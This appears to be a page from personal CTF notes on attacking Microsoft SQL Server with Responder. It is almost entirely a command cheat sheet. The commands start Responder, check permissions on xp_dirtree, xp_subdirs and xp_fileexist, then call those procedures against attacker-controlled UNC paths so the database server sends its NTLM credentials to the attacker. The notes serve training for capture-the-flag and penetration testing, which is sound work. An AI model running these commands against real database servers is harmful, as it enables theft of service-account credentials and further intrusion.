> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/database-attacks/mssql/responder.md).

# Responder

### Common Commands

```bash
# Kali 
sudo responder -I tun0 -v

# Check who has the permission to run
SQL>Use master;
SQL> EXEC sp_helprotect 'xp_dirtree';
SQL> EXEC sp_helprotect 'xp_subdirs';
SQL> EXEC sp_helprotect 'xp_fileexist'

# Try one of them 
SQL> xp_dirtree '\\<attacker_IP>\any\thing'
SQL> master.sys.xp_dirtree '\\10.10.14.54\smb'

SQL> exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
SQL> EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
SQL> EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# sqsh 
1> Use master
1> xp_dirtree '\\10.10.14.4\smb'
2> go
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FzrR9D3rR3mkkmygWUzkE%2Fimage.png?alt=media&amp;token=2f12521f-5307-403f-a99a-6927bf2031ce" alt=""><figcaption></figcaption></figure>